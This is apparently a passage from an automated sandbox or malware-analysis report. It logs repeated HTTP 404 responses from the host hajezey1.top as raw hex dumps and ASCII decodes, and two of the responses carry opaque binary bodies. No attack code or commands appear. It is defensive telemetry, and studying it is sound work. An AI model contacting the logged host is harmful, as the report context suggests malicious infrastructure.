Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 7f e2 46 aa 8f 8c f5 cf 9b 2b 25 9b f6 ba c9 1b b0 1c 67 74 d2 ff 95 87 cd 2b 80 78 51 a1 a2 8f 2c df d2 1c e0 32 02 50 08 08 d8 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 41 8f 20 59 55 11 5c 7c 3b 66 ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 bd 28 c6 8a 44 d8 06 0e 45 c7 1e 7d 6f fb e0 04 89 f9 d4 57 80 90 70 89 ec e4 4a 6b b6 f2 a2 22 48 52 df 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 23 36 55 96 da 19 d1 3a 2d b2 4e 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 71 87 4a 04 38 6d 72 14 2c d0 e8 b1 14 65 7c 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 a2 4c 64 cd 25 5c 8d b7 bf 2e 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 c5 d0 b8 be 34 56 9b 46 76 99 86 11 00 83 32 42 52 f7 c2 ae 64 0f 95 36 e1 48 52 67 25 50 b8 81 f6 bc 81 de bb 6e 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 bc a6 62 4a 08 5d f6 b3 06 2d 1a c0 5e f3 7c bb a7 fd d4 98 21 17 da 9a 2d 35 23 7d f5 b2 68 60 b8 10 31 fa ed ad 67 e1 e1 bd 84 f3 8c 40 b6 f0 90 4f a1 21 71 ae 61 2e 7a b1 76 af ce c6 83 41 66 30 ae a9 c8 d0 7e 33 3a 64 67 0b bf 77 6a 66 21 0e 8a ef 28 1d 41 81 d4 b6 78 8e 18 d3 e4 9e 0c 7b d6 6c 02 2f 27 76 d7 9b 4e 20 ba f5 be 08 85 fd 89 aa 41 b7 28 8f f4 d5 06 78 5c 9b b8 08 c0 e5 5c c5 17 00 f3 b8 d0 a3 39 a9 b2 13 20 1d 06 1a 1b e1 ea f0 6c 8d e9 c7 d2 83 6f d5 c5 3b ec cf 8b 40 75 02 99 e0 03 f4 c3 05 cb 99 d3 23 2a 71 c7 a5 d9 62 77 ca 08 8f bd c8 11 61 a1 99 9e 5f e3 0f 4e 8a d0 23 9d 43 8e 7e 14 0e b9 2c 58 99 f7 6d 08 d8 fd f7 cb ab 42 66 fb 05 6d 77 5e 8e b7 4a 84 99 fb 42 17 7d bd 91 94 13 85 f3 bd b3 3b 1c 67 c7 22 e7 19 8e 53 c0 b2 21 ab 63 95 22 89 ac 1f 13 34 5e 12 59 b3 52 34 eb e0 0f 25 b8 a3 c1 1d d7 cb ab 14 62 f3 3b 1f 70 da be 91 b3 bf de 2c eb 57 66 80 fe 9d 11 b0 5e fe 14 f9 20 e4 89 93 64 4b 70 94 ea 13 6b e6 e8 80 0b 3d f2 9d 65 09 de fb 18 e1 98 ea 30 e3 dc dd 6a db 82 96 dd
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
